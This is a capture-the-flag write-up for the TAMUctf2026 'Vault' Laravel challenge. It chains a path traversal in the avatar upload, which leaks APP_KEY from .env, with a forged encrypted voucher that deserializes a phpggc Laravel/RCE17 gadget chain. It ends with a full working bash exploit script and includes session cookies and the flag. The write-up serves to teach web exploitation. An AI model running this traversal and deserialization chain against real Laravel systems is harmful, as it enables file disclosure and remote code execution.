🚩 TAMUctf2026 - Vault
Executive Summary
- OS: Linux
- Key Technique: A path traversal vulnerability is found inside the
/update/avaterendpoint that allow leakage of environment variables. With the known value of the variableAPP_KEY, we can craft an arbitrary redeem with a malicious payload that contains a malicious PHP object that is then passed to thedecrypt()and deserialized, triggering RCE. - Status:
Completed
Reconnaissance
Dockerfile
FROM node:24-alpine AS node-builder
WORKDIR /var/www
COPY src/ .
RUN npm install
RUN npm run build
FROM php:8.2-fpm AS php-builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
unzip \
libpq-dev \
libonig-dev \
libssl-dev \
libxml2-dev \
libcurl4-openssl-dev \
libzip-dev \
libsqlite3-dev \
&& docker-php-ext-install -j$(nproc) \
pdo_sqlite \
zip \
bcmath \
soap \
&& apt-get autoremove -y && apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
WORKDIR /var/www
COPY src/ /var/www
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \
&& composer install --no-dev --optimize-autoloader --no-interaction --no-progress --prefer-dist
FROM php:8.2-fpm AS production
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
nginx \
supervisor \
libzip-dev \
libsqlite3-dev \
libxml2-dev \
&& apt-get autoremove -y && apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
COPY --from=php-builder /usr/local/lib/php/extensions/ /usr/local/lib/php/extensions/
COPY --from=php-builder /usr/local/etc/php/conf.d /usr/local/etc/php/conf.d/
COPY --from=php-builder /usr/local/bin/docker-php-ext-* /usr/local/bin/
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
COPY nginx.conf /etc/nginx/sites-available/default
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
COPY --from=php-builder /var/www /var/www
COPY --from=node-builder /var/www/public /var/www/public
WORKDIR /var/www
RUN chown -R www-data:www-data /var/www \
&& chown -R www-data:www-data /var/log/nginx \
&& chown -R www-data:www-data /var/lib/nginx
COPY flag.txt /tmp/flag.txt
EXPOSE 80
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]From the Dockerfile, we can see that the container is built through multiple stages, not much useful information other than the paths inside the container, the location of the flag and the PHP version being 8.2 wipe out the probability that (incomplete) PHP Archive Deserialization vulnerability exists.
entrypoint.sh
#!/bin/sh
set -e
php artisan key:generate --force
php artisan config:cache
php artisan route:cache
php artisan view:cache
touch database/database.sqlite
chown www-data:www-data database/database.sqlite
php artisan migrate --force
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
exec "$@"We can see that the backend is using SQLite and the flag is moved to the root directory with the format $HEX-flag.txt
Other Config Files
Other config files does not really contain any useful information, it seems like the vulnerability lies inside the code logic so I’ll take a look at the source code.
web.php
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use App\Http\Controllers\DashboardController;
use App\Http\Controllers\AccountController;
use App\Http\Controllers\MiningController;
use App\Http\Controllers\VouchersController;
use App\Http\Controllers\TransactionsController;
Route::middleware(['auth'])->group(function() {
Route::get('/', [DashboardController::class, 'index'])->name('dashboard');
Route::get('/account', [AccountController::class, 'index'])->name('account');
Route::get('/mining', [MiningController::class, 'index'])->name('mining');
Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers');
Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions');
Route::get('/avatar', [AccountController::class, 'getAvatar']);
Route::post('/account', [AccountController::class, 'update']);
Route::post('/account/avatar', [AccountController::class, 'updateAvatar']);
Route::post('/mining/collect', [MiningController::class, 'collect']);
Route::post('/transactions', [TransactionsController::class, 'send']);
Route::post('/vouchers', [VouchersController::class, 'create']);
Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);
});
Route::get('/login', [AuthController::class, 'index'])->name('login');
Route::get('/register', [AuthController::class, 'index'])->name('register');
Route::get('/logout', [AuthController::class, 'index'])->name('logout');
Route::post('/login', [AuthController::class, 'auth']);
Route::post('/register', [AuthController::class, 'register']);
Route::delete('/logout', [AuthController::class, 'logout']);This contains the information of every endpoint alongside with their controller inside the system. Let’s take a look at each controllers and map out their roles inside the system.
Controllers
Account Controller:

The updateAvatar() method correspond to the /account/avatar endpoint takes a user input image file that is no larger than 2048 kilobytes.
It then change the avatar to the new one.
The user can then access the image through the /avatar endpoint.
There is a vulnerability though, that is in the lines:
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();The back-end trusts the user-input full_path attributes inside the request and append it to the $path variable directly without sanitization and store it as the user’s avatar path.
If the user input the $_FILES['avatar']['full_path'] = ../../../../../../../../etc/passwd, the appended $path variable will point to the target file and the user can read the file content by making request to /avatar as we mentioned.
We can practically read any files now, however, the file is reading the flag is not possible because of the naming format of the flag file.
Vouchers Controller

The create method shows us how a code was created.

Later in the redeem function, we see that the input code from the user is then passed to the decrypt() method.
Apparently, the decrypt() method actually deserializes the input, this hints us towards (incomplete) PHP Object Injection. Based on the the app.php file, we can see that the encryption key of the method actually derived from the APP_KEY environment variable which we can extract using the Path Traversal vulnerability that we found above.

With this, we can reverse engineer the process of forging a valid redeem code and forge a malicious redeem code to move the flag in the root folder to another file that has more recognizable naming format.
Exploitations
Proof of Concept:
#!/bin/bash
# ==========================================
# TARGET CONFIGURATION
# ==========================================
BASE_URL="https://7bae4683-9569-4927-906b-4c9aa68ae7c5.tamuctf.com"
CSRF_TOKEN="DF9G9rQyN0gLzzVFSamrrq0pEflD6Foy6wPflw8V"
COOKIES="XSRF-TOKEN=eyJpdiI6ImhURTNFSk40Tk1tM1hSaWNDUkNsWkE9PSIsInZhbHVlIjoibzFYUEZOdW5aMkJRdFBodkVNdXpQbUVXdmZ4cUk1SWo2aS82aHVUTVpmUVZLcm15MG81VnhwbVkvN01yTVE3UmtxTFovN0k5MlcrcTc0U05SbGJiTVFkbnpsUk54SDYrakpiR0k1WjdZMG5TS3ZjTHJrZUJtTlhZTUtqVmxTYjgiLCJtYWMiOiJjNTRkODhmMWUxMGI3NWZjZWQwZGJhZGZiMGE3OWY0NTRhM2E0MDZkOTZlNTk5N2I3MzM4YzU4NGJhMTViYmU2IiwidGFnIjoiIn0%3D; laravel-session=eyJpdiI6Iko4RzZGNko4U2JRaUtnM0ppNVpETHc9PSIsInZhbHVlIjoiVzdXQnhhRkVRWXdWNlVjY2tIRHNiSFo4cWxSOFdVZHpubXNqYnJEYlRETS9oYURzVkNlZWF4aGdUamx3b29WeEhNSTBvMnAxYmZwM2NLdlFDbUh5SUdlRU1mTFJ3WWtCc1JmcGYvSFk0ZXBLWVFKRm52Q1VBakpjc2RjanFHVTEiLCJtYWMiOiIxMDQ4MGU2MTcyOTE3MjE5YTM2YjI1ZDMzZWNmZTY5YTIxNzk5ODNhZTEwNzI5Njc2ZmVmNTY1YTYzOGM0MWYyIiwidGFnIjoiIn0%3D"
CMD="sh -c 'cat /*-flag.txt > /var/www/public/flag.txt'"
# ==========================================
# STEP 1: LFI via Avatar Upload
# ==========================================
echo "[*] Step 1: Poisoning avatar path via LFI..."
# An arbitrary GIF file
echo "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" | base64 -d > valid_payload.gif
# Upload the payload (silencing output with -s, keeping -k for SSL bypass)
curl -s -k -X POST "$BASE_URL/account/avatar" \
-H "Cookie: $COOKIES" \
-F "_token=$CSRF_TOKEN" \
-F "avatar=@valid_payload.gif;filename=../../../../../../../../../var/www/.env;type=image/gif" > /dev/null # Change the filename field for Path Traversal
rm valid_payload.gif
echo "[+] Avatar database record overwritten."
# ==========================================
# STEP 2: Extract Live APP_KEY
# ==========================================
echo "[*] Step 2: Fetching .env and extracting APP_KEY..."
# Send GET request to /avatar, grep for APP_KEY, and split the string to get the base64 value
APP_KEY=$(curl -s -k -H "Cookie: $COOKIES" "$BASE_URL/avatar" | grep 'APP_KEY=' | cut -d':' -f2)
if [ -z "$APP_KEY" ]; then
echo "[-] Failed to extract APP_KEY. The Path Traversal may have failed, or your session expired."
exit 1
fi
echo "[+] Success! Extracted APP_KEY: $APP_KEY"
# ==========================================
# STEP 3: Generate Encrypted POP Chain
# ==========================================
echo "[*] Step 3: Generating and encrypting POP chain payload..."
cat << 'EOF' > encrypt_payload.php
<?php
$key = base64_decode($argv[1]);
$payload = file_get_contents('php://stdin');
$iv = random_bytes(16);
$value = openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $key);
$json = json_encode(compact('iv', 'value', 'mac'), JSON_UNESCAPED_SLASHES);
echo base64_encode($json);
?>
EOF
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# Pipe the phpggc output directly into our custom encryption script using the extracted key
PAYLOAD=$(./phpggc Laravel/RCE17 system "$CMD" | php encrypt_payload.php "$APP_KEY")
rm encrypt_payload.php
# ==========================================
# STEP 4: Trigger RCE & Fetch Flag
# ==========================================
echo "[*] Step 4: Sending malicious voucher to trigger RCE..."
curl -s -k -X POST "$BASE_URL/vouchers/redeem" \
-H "Cookie: $COOKIES" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "_token=$CSRF_TOKEN" \
-d "voucher=$PAYLOAD" > /dev/null
echo "[+] Exploit dispatched! Reading flag from public directory:"
echo "--------------------------------------------------------"
sleep 1
curl -s -k "$BASE_URL/flag.txt"
echo -e "\n--------------------------------------------------------"Loot & Flags
Flag: gigem{142v31_d3c2yp7_15_d4n9320u5_743f9c}